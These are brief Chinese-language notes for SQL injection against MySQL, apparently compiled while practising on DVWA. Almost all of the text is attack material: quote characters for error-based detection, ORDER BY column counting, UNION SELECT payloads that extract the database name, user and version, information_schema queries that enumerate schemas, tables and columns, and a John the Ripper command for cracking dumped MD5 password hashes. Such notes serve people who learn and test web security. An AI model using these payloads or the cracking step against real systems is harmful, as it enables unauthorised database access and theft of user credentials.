目录
基于报错的检测方法
基于布尔的检测
'
"
%
表列数/显示信息位于哪一列
(记得添加注释符--)
order by 1/2/3... --
联合查询
' union select 1,2-- 判断select的两个变量先后顺序
' union all select database(),2 --
mysql的一些函数
database()
substring_index(USER(),"@",1)
user()
version()
@@datadir
@@hostname
@@VERSION
@@version_compile_os
dtabase()
char()
CONCAT_WS(CHAR(32,58,32),user(),database(),version()) #连接字符串
md5() #计算哈希值
information_schema #MySQL数据结构
密码破解
john --format=raw-MD5 dvwa.txt --show
MySQL查询数据核心语法
select schema_name from information_schema.schemata #查库
select table_name from information_schema.tables where table_schema=库名 #查表
select column_name from information_schema.columns where table_name=表名 #查列
select 列名 from 库名.表名 #查数据